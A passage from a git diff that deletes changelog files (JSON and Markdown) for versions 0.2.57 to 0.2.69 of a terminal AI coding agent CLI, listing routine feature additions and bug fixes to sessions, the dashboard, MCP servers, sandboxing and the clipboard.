-    "description": "Fixed literal display of HTML entities such as &lt; and &gt; in responses and tool output.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Improved resilience to network blips during long responses by resuming instead of failing the turn.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Typing `[`** in the pager prompt no longer appears delayed.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**`grok plugin install <name>`** now resolves plugins from registered marketplaces instead of only local paths.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Copy** now tries all available Linux clipboard tools so paste works reliably in more terminals.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.57.md b/crates/codegen/kigi-shell/changelogs/0.2.57.md
deleted file mode 100644
index 8959da5..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.57.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# 0.2.57
-
-## Features
-
-- Improved resilience to network blips during long responses by resuming instead of failing the turn.
-- **`grok plugin install <name>`** now resolves plugins from registered marketplaces instead of only local paths.
-
-## Bug Fixes
-
-- Fixed cases where long-running conversation compaction could hang indefinitely.
-- Notification hooks now fire only for real user-attention events and no longer trigger constantly during tool use.
-- Fixed literal display of HTML entities such as &lt; and &gt; in responses and tool output.
-- **Typing `[`** in the pager prompt no longer appears delayed.
-- **Copy** now tries all available Linux clipboard tools so paste works reliably in more terminals.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.58.json b/crates/codegen/kigi-shell/changelogs/0.2.58.json
deleted file mode 100644
index d20f267..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.58.json
+++ /dev/null
@@ -1,22 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "Terminal command output files are now capped at 5 GB during execution and truncated to 64 MB after the process exits.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Interjection messages now display the actual user text instead of a generic header.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "The legacy `agent` command is now kept in sync with `grok` after running `grok update`.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Headless (`grok -p`) runs now wait for background tasks and subagents to finish before exiting.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.58.md b/crates/codegen/kigi-shell/changelogs/0.2.58.md
deleted file mode 100644
index 858a77e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.58.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# 0.2.58 — 2026-06-19
-
-## Bug Fixes
-
-- Terminal command output files are now capped at 5 GB during execution and truncated to 64 MB after the process exits.
-- Interjection messages now display the actual user text instead of a generic header.
-- The legacy `agent` command is now kept in sync with `grok` after running `grok update`.
-- Headless (`grok -p`) runs now wait for background tasks and subagents to finish before exiting.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.59.json b/crates/codegen/kigi-shell/changelogs/0.2.59.json
deleted file mode 100644
index c38ada7..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.59.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Session recaps** no longer display doubled labels and manual recap now correctly suppresses the next automatic recap.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.59.md b/crates/codegen/kigi-shell/changelogs/0.2.59.md
deleted file mode 100644
index 265fc82..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.59.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.59 — 2026-06-19
-
-## Bug Fixes
-
-- **Session recaps** no longer display doubled labels and manual recap now correctly suppresses the next automatic recap.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.6.json b/crates/codegen/kigi-shell/changelogs/0.2.6.json
deleted file mode 100644
index 5591bff..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.6.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Background tasks** started inside subagents now continue running after the subagent session ends.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Image description** now reliably uses the grok-build model instead of falling back to the active session model.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.6.md b/crates/codegen/kigi-shell/changelogs/0.2.6.md
deleted file mode 100644
index e3ea03a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.6.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# 0.2.6
-
-## Bug Fixes
-
-- **Background tasks** started inside subagents now continue running after the subagent session ends.
-- **Image description** now reliably uses the grok-build model instead of falling back to the active session model.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.60.json b/crates/codegen/kigi-shell/changelogs/0.2.60.json
deleted file mode 100644
index 91723ca..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.60.json
+++ /dev/null
@@ -1,72 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Compaction** no longer hangs indefinitely when the summarizer stream stalls after the server has finished.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**/resume** now shows sessions from your current working directory's repo at the top of the list.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Slash command completion** now shows consistent suggestions and remembers recently used commands.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Queued prompts** now reappear reliably after deleting the last item and re-queuing.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Headless sessions** no longer produce authentication error noise from unauthenticated MCP servers.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Large MCP tool results** are now truncated inline and saved to disk to avoid unnecessary context compaction.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mermaid flowchart labels** with long identifiers are now kept whole instead of being cut mid-word.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Too-wide Mermaid diagrams** now show a hint below the fallback box pointing to the Open Image button.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Cmd+Backspace** now deletes only from the cursor to the start of the line instead of clearing the whole prompt.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Inline Mermaid previews** now break long identifiers at word boundaries instead of mid-segment.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Signed git commits** no longer corrupt the TUI by letting pinentry draw over the screen.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Arrow keys** now move the prompt cursor or open history while a /btw answer panel is visible.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Cancel behavior for running subagents** can now be set to always stop or always continue in config.toml.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Long option descriptions** in question prompts now expand fully when the row is focused.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.60.md b/crates/codegen/kigi-shell/changelogs/0.2.60.md
deleted file mode 100644
index 48ac10c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.60.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# 0.2.60 — 2026-06-21
-
-## Features
-
-- **/resume** now shows sessions from your current working directory's repo at the top of the list.
-- **Too-wide Mermaid diagrams** now show a hint below the fallback box pointing to the Open Image button.
-- **Cancel behavior for running subagents** can now be set to always stop or always continue in config.toml.
-
-## Bug Fixes
-
-- **Compaction** no longer hangs indefinitely when the summarizer stream stalls after the server has finished.
-- **Slash command completion** now shows consistent suggestions and remembers recently used commands.
-- **Queued prompts** now reappear reliably after deleting the last item and re-queuing.
-- **Headless sessions** no longer produce authentication error noise from unauthenticated MCP servers.
-- **Mermaid flowchart labels** with long identifiers are now kept whole instead of being cut mid-word.
-- **Cmd+Backspace** now deletes only from the cursor to the start of the line instead of clearing the whole prompt.
-- **Inline Mermaid previews** now break long identifiers at word boundaries instead of mid-segment.
-- **Signed git commits** no longer corrupt the TUI by letting pinentry draw over the screen.
-- **Arrow keys** now move the prompt cursor or open history while a /btw answer panel is visible.
-- **Long option descriptions** in question prompts now expand fully when the row is focused.
-
-## Performance
-
-- **Large MCP tool results** are now truncated inline and saved to disk to avoid unnecessary context compaction.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.61.json b/crates/codegen/kigi-shell/changelogs/0.2.61.json
deleted file mode 100644
index 36619d9..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.61.json
+++ /dev/null
@@ -1,87 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Closing a terminal tab** with a running process now shows a confirmation dialog instead of killing it immediately.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**/usage** now shows prepaid credits balance and auto top-up status.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Focus reports** no longer leak as literal text when split across reads over SSH.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**--disable-web-search** now honored in grok -p and grok agent; auxiliary model routing respects catalog overrides.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Focus events** now fire correctly for SSH-split focus reports.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Boolean tool flags** now accept \"true\"/\"false\"/\"yes\"/\"no\"/1/0 strings and numbers in addition to native booleans.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Session last-active timestamps** and message counts no longer regress under concurrent writers.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Clipboard copy** on Wayland now also tries wl-copy; per-leg outcomes are now logged for diagnostics.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**iTerm2** now always uses text/metadata image fallback instead of broken OSC 1337 overlays.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Model switches** no longer leave the prompt queue stuck after a reconnect.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Goal mode toggles and limits** can now be set in config.toml under the [features] table.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Closing a terminal tab** with a running process no longer shows a confirmation dialog.",
-    "breaking_change": true
-  },
-  {
-    "category": "fixes",
-    "description": "**Custom agent profiles** now correctly use the harness required by their pinned model.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**All /goal options** (toggles, limits, role models) are now configurable together in a [goal] table.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Clipboard copies** from VS Code over SSH now warn when non-ASCII text may be garbled.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Subagents** under custom profiles now adopt the correct harness from the parent's model.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Changelog and release-notes** modals now scroll with the mouse wheel and arrow keys.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.61.md b/crates/codegen/kigi-shell/changelogs/0.2.61.md
deleted file mode 100644
index 6cf15d5..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.61.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# 0.2.61 — 2026-06-22
-
-## Features
-
-- **Closing a terminal tab** with a running process now shows a confirmation dialog instead of killing it immediately.
-- **/usage** now shows prepaid credits balance and auto top-up status.
-- **Clipboard copy** on Wayland now also tries wl-copy; per-leg outcomes are now logged for diagnostics.
-- **Goal mode toggles and limits** can now be set in config.toml under the [features] table.
-- **All /goal options** (toggles, limits, role models) are now configurable together in a [goal] table.
-- **Clipboard copies** from VS Code over SSH now warn when non-ASCII text may be garbled.
-
-## Bug Fixes
-
-- **Focus reports** no longer leak as literal text when split across reads over SSH.
-- **--disable-web-search** now honored in grok -p and grok agent; auxiliary model routing respects catalog overrides.
-- **Focus events** now fire correctly for SSH-split focus reports.
-- **Boolean tool flags** now accept "true"/"false"/"yes"/"no"/1/0 strings and numbers in addition to native booleans.
-- **Session last-active timestamps** and message counts no longer regress under concurrent writers.
-- **iTerm2** now always uses text/metadata image fallback instead of broken OSC 1337 overlays.
-- **Model switches** no longer leave the prompt queue stuck after a reconnect.
-- **Closing a terminal tab** with a running process no longer shows a confirmation dialog.
-- **Custom agent profiles** now correctly use the harness required by their pinned model.
-- **Subagents** under custom profiles now adopt the correct harness from the parent's model.
-- **Changelog and release-notes** modals now scroll with the mouse wheel and arrow keys.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.62.json b/crates/codegen/kigi-shell/changelogs/0.2.62.json
deleted file mode 100644
index 59df982..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.62.json
+++ /dev/null
@@ -1,62 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Hosts can now register hooks** over the agent connection instead of only on-disk files.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Prompt and /usage warnings** now correctly reflect prepaid credits and auto top-up status.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Desktop clients can now detect** when a terminal is busy running a foreground process.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**MCP server connections** no longer time out during slow cold starts of stdio servers that download dependencies.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**File paths containing spaces** (e.g. macOS app bundles) are now correctly turned into clickable hyperlinks in the terminal.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Resume** now correctly picks the most recently active session instead of one that only had metadata updates.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**TODO list** remains visible to the model after compaction so it can continue working on pending items.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**/goal** slash command now appears in the menu on the welcome screen before any prompt is sent when the feature is enabled.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Session picker** no longer shows a stale row highlight when keyboard focus moves to the search bar.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**/recap** is now available by default — it generates a quick summary of your current session so you can catch up on what's happened so far.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Usage percentages** in /usage and warnings now match backend flooring and show pay-as-you-go limits when applicable.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Team accounts** can now list sessions after re-login; previously returned 403 on conversations API.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.62.md b/crates/codegen/kigi-shell/changelogs/0.2.62.md
deleted file mode 100644
index 9d95d7f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.62.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# 0.2.62 — 2026-06-23
-
-## Features
-
-- **Hosts can now register hooks** over the agent connection instead of only on-disk files.
-- **Prompt and /usage warnings** now correctly reflect prepaid credits and auto top-up status.
-- **Desktop clients can now detect** when a terminal is busy running a foreground process.
-- **TODO list** remains visible to the model after compaction so it can continue working on pending items.
-- **/recap** is now available by default — it generates a quick summary of your current session so you can catch up on what's happened so far.
-
-## Bug Fixes
-
-- **MCP server connections** no longer time out during slow cold starts of stdio servers that download dependencies.
-- **File paths containing spaces** (e.g. macOS app bundles) are now correctly turned into clickable hyperlinks in the terminal.
-- **Resume** now correctly picks the most recently active session instead of one that only had metadata updates.
-- **/goal** slash command now appears in the menu on the welcome screen before any prompt is sent when the feature is enabled.
-- **Session picker** no longer shows a stale row highlight when keyboard focus moves to the search bar.
-- **Usage percentages** in /usage and warnings now match backend flooring and show pay-as-you-go limits when applicable.
-- **Team accounts** can now list sessions after re-login; previously returned 403 on conversations API.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.63.json b/crates/codegen/kigi-shell/changelogs/0.2.63.json
deleted file mode 100644
index f35f10f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.63.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Fixed hook matchers** so pipe-list and alias patterns no longer silently over-match unrelated tool names.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.63.md b/crates/codegen/kigi-shell/changelogs/0.2.63.md
deleted file mode 100644
index 804f143..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.63.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.63 — 2026-06-23
-
-## Bug Fixes
-
-- **Fixed hook matchers** so pipe-list and alias patterns no longer silently over-match unrelated tool names.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.64.json b/crates/codegen/kigi-shell/changelogs/0.2.64.json
deleted file mode 100644
index 0f271c0..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.64.json
+++ /dev/null
@@ -1,27 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Dashboard** now displays the current directory and branch; click or press Ctrl+L to change location, or Ctrl+W to dispatch new agents into fresh git worktrees.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Dashboard** arrow keys open agent details and exit overlays; closing an agent now selects the neighboring row.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**/recap** now appears as a collapsible tool-style block with a loading spinner while generating.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**/usage** command and credit warnings are now hidden for API-key authentication.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**MCP servers** from your user config no longer appear labeled as project-scoped when running from your home directory.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.64.md b/crates/codegen/kigi-shell/changelogs/0.2.64.md
deleted file mode 100644
index 91064ff..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.64.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# 0.2.64 — 2026-06-24
-
-## Features
-
-- **Dashboard** now displays the current directory and branch; click or press Ctrl+L to change location, or Ctrl+W to dispatch new agents into fresh git worktrees.
-- **/recap** now appears as a collapsible tool-style block with a loading spinner while generating.
-
-## Bug Fixes
-
-- **Dashboard** arrow keys open agent details and exit overlays; closing an agent now selects the neighboring row.
-- **/usage** command and credit warnings are now hidden for API-key authentication.
-- **MCP servers** from your user config no longer appear labeled as project-scoped when running from your home directory.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.65.json b/crates/codegen/kigi-shell/changelogs/0.2.65.json
deleted file mode 100644
index 449a4da..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.65.json
+++ /dev/null
@@ -1,42 +0,0 @@
-[
-  {
-    "category": "performance",
-    "description": "**Headless and stdio sessions** no longer start unnecessary filesystem watchers, saving CPU and IO.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Unidentified Windows consoles** are now treated as Windows Terminal for capability decisions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Esc** in the dashboard input now moves focus to the list without clearing your typed draft.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**grok -w --ref <branch>** now creates worktrees based on the specified ref instead of HEAD.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Scrolling** feels more responsive in VS Code, Cursor, and Windsurf integrated terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Copying** a tool header now copies just the path or command, not the Read/Run label.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Execute activity** lines and headers no longer repeat a redundant cd into the session directory.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Inline video previews** now show an install hint instead of a spinner when ffmpeg is missing.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.65.md b/crates/codegen/kigi-shell/changelogs/0.2.65.md
deleted file mode 100644
index 481bb44..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.65.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# 0.2.65 — 2026-06-24
-
-## Features
-
-- **grok -w --ref <branch>** now creates worktrees based on the specified ref instead of HEAD.
-
-## Bug Fixes
-
-- **Unidentified Windows consoles** are now treated as Windows Terminal for capability decisions.
-- **Esc** in the dashboard input now moves focus to the list without clearing your typed draft.
-- **Copying** a tool header now copies just the path or command, not the Read/Run label.
-- **Execute activity** lines and headers no longer repeat a redundant cd into the session directory.
-- **Inline video previews** now show an install hint instead of a spinner when ffmpeg is missing.
-
-## Performance
-
-- **Headless and stdio sessions** no longer start unnecessary filesystem watchers, saving CPU and IO.
-- **Scrolling** feels more responsive in VS Code, Cursor, and Windsurf integrated terminals.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.66.json b/crates/codegen/kigi-shell/changelogs/0.2.66.json
deleted file mode 100644
index 05e1dce..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.66.json
+++ /dev/null
@@ -1,87 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Custom sandbox profiles** can now kernel-deny specific files and directories for reads/writes.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Marketplace plugins** in subdirectories of a git repo can now be installed and loaded correctly.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Folder trust prompt** now appears before starting a session when the feature is enabled.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Preview panes** no longer hibernate while actively viewed.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Keyboard shortcuts help** now expands inline for individual entries instead of only sections.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Idle detection** can now ignore background tasks when the env flag is set (off by default).",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Sandbox deny lists** now accept glob patterns like **/*.pem** in addition to exact paths.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Local MCP servers** now auto-recover after disconnects or session expiry.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**OIDC sessions** with XAI_API_KEY present no longer lose refresh on idle.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Inline video previews** now show an install command only when the package manager is on PATH.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**list_dir** now reliably shows all immediate child directories even inside large monorepos.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Clicking a model** in the dashboard /model dropdown no longer opens the wrong session.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Strikethrough** now only applies to ~~double tildes~~; single ~tildes~ render literally.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Session cycling** with Ctrl+[ / ] now switches from the session you are currently viewing.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Prompt history** (Up / Ctrl+R) now shows the complete recent list instead of a scrambled partial one.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Authentication** now correctly prefers the session method when both API key and cached token are present.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**xychart-beta** diagrams with category labels now render correctly as images.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.66.md b/crates/codegen/kigi-shell/changelogs/0.2.66.md
deleted file mode 100644
index 3b9634f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.66.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# 0.2.66 — 2026-06-25
-
-## Features
-
-- **Custom sandbox profiles** can now kernel-deny specific files and directories for reads/writes.
-- **Marketplace plugins** in subdirectories of a git repo can now be installed and loaded correctly.
-- **Folder trust prompt** now appears before starting a session when the feature is enabled.
-- **Preview panes** no longer hibernate while actively viewed.
-- **Keyboard shortcuts help** now expands inline for individual entries instead of only sections.
-- **Idle detection** can now ignore background tasks when the env flag is set (off by default).
-- **Sandbox deny lists** now accept glob patterns like **/*.pem** in addition to exact paths.
-
-## Bug Fixes
-
-- **Local MCP servers** now auto-recover after disconnects or session expiry.
-- **OIDC sessions** with XAI_API_KEY present no longer lose refresh on idle.
-- **Inline video previews** now show an install command only when the package manager is on PATH.
-- **list_dir** now reliably shows all immediate child directories even inside large monorepos.
-- **Clicking a model** in the dashboard /model dropdown no longer opens the wrong session.
-- **Strikethrough** now only applies to ~~double tildes~~; single ~tildes~ render literally.
-- **Session cycling** with Ctrl+[ / ] now switches from the session you are currently viewing.
-- **Prompt history** (Up / Ctrl+R) now shows the complete recent list instead of a scrambled partial one.
-- **Authentication** now correctly prefers the session method when both API key and cached token are present.
-- **xychart-beta** diagrams with category labels now render correctly as images.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.67.json b/crates/codegen/kigi-shell/changelogs/0.2.67.json
deleted file mode 100644
index f031083..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.67.json
+++ /dev/null
@@ -1,27 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Added --json-schema** flag for headless mode to constrain model output to a supplied JSON Schema.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Find and grep** now transparently use faster bfs and ugrep binaries when present in the harness.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Preview panes** no longer hibernate while actively viewed or polled.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Idle detection** can now ignore background tasks when the env flag is set (off by default).",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Manual /rename** now persists correctly and appears in /session-info even after auto title generation or resume.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.67.md b/crates/codegen/kigi-shell/changelogs/0.2.67.md
deleted file mode 100644
index 1d88908..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.67.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# 0.2.67 — 2026-06-25
-
-## Features
-
-- **Added --json-schema** flag for headless mode to constrain model output to a supplied JSON Schema.
-- **Idle detection** can now ignore background tasks when the env flag is set (off by default).
-
-## Bug Fixes
-
-- **Preview panes** no longer hibernate while actively viewed or polled.
-- **Manual /rename** now persists correctly and appears in /session-info even after auto title generation or resume.
-
-## Performance
-
-- **Find and grep** now transparently use faster bfs and ugrep binaries when present in the harness.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.68.json b/crates/codegen/kigi-shell/changelogs/0.2.68.json
deleted file mode 100644
index 93b5e32..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.68.json
+++ /dev/null
@@ -1,27 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**MCP servers** from host integrations can now be added, replaced, or removed without restarting the session.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Attached images** are now saved to real disk paths so the model can read them in any terminal.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**/resume** now selects the correct model when a saved model name is ambiguous.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Slash and completion menus** no longer crash if the terminal is resized while open.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Agent-run terminal commands** now set `KIGI_AGENT=1` so host tools can tell them apart from interactive shells.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.68.md b/crates/codegen/kigi-shell/changelogs/0.2.68.md
deleted file mode 100644
index b840506..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.68.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# 0.2.68 — 2026-06-26
-
-## Features
-
-- **MCP servers** from host integrations can now be added, replaced, or removed without restarting the session.
-- **Agent-run terminal commands** now set `KIGI_AGENT=1` so host tools can tell them apart from interactive shells.
-
-## Bug Fixes
-
-- **Attached images** are now saved to real disk paths so the model can read them in any terminal.
-- **/resume** now selects the correct model when a saved model name is ambiguous.
-- **Slash and completion menus** no longer crash if the terminal is resized while open.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.69.json b/crates/codegen/kigi-shell/changelogs/0.2.69.json
deleted file mode 100644
index d30a427..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.69.json
+++ /dev/null
@@ -1,52 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "The agent dashboard now shows each agent's model and mode in the peek panel, lets you cycle modes with Shift+Tab, collapses the Inactive section by default, and hides older idle agents behind a \"N more\" row.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Tool usage cards for search, directory listing, file deletion and glob now render as distinct typed cards instead of generic MCP entries.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "The keyboard shortcuts help now shows richer descriptions and correctly scrolls wrapped text in the detail view.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Local plugins installed from your home directory are now automatically refreshed when you start a session, so new agents or skills added to the source appear immediately.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "You can now pass --json-schema to grok -p and receive a validated JSON object instead of free text.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "The /context command now reports the same number of tool definitions that are actually sent to the model.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "In vim mode the agent dashboard peek no longer steals keyboard focus from the list, so j and k keep moving between agents.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**/sessions** on the agent dashboard no longer freezes the interface.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Dashboard** now focuses the overview list immediately when agents exist.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
